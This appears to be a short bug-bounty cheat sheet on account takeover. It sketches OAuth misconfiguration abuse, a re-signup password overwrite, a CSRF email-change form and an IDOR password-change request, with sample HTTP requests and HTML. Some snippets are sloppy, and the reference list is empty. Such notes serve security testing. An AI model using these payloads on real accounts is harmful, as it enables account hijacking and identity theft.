Account Takeover

Introduction

Account Takeover (known as ATO) is a type of identity theft where a bad actor gains unauthorized access to an account belonging to someone else.

How to exploit

Using OAuth Misconfiguration
- Victim has a account in evil.com
- Attacker creates an account on evil.com using OAuth. For example the attacker have a facebook with a registered victim email
- Attacker changed his/her email to victim email.
- When the victim try to create an account on evil.com, it says the email already exists.

Try re-sign up using same email

POST /newaccount HTTP/1.1
...
email=victim@mail.com&password=1234

After sign up using victim email, try signup again but using different password

POST /newaccount HTTP/1.1
...
email=victim@mail.com&password=hacked

via CSRF
- Create an account as an attacker and fill all the form, check your info in the Account Detail.
- Change the email and capture the request, then created a CSRF Exploit.
- The CSRF Exploit looks like as given below. I have replaced the email value to anyemail@*******.com and submitted a request in the victim’s account.
```
<html>
<body>
   <form action="https://evil.com/user/change-email" method="POST">
      <input type="hidden" value="victim@gmail.com"/>
      <input type="submit" value="Submit Request">
   </form>
</body>
</html>
```
Chaining with IDOR, for example
```
POST /changepassword.php HTTP/1.1
Host: site.com
...
userid=500&password=heked123
```
500 is an attacker ID and 501 is a victim ID, so we change the userid from attacker to victim ID
No Rate Limit on 2FA

References: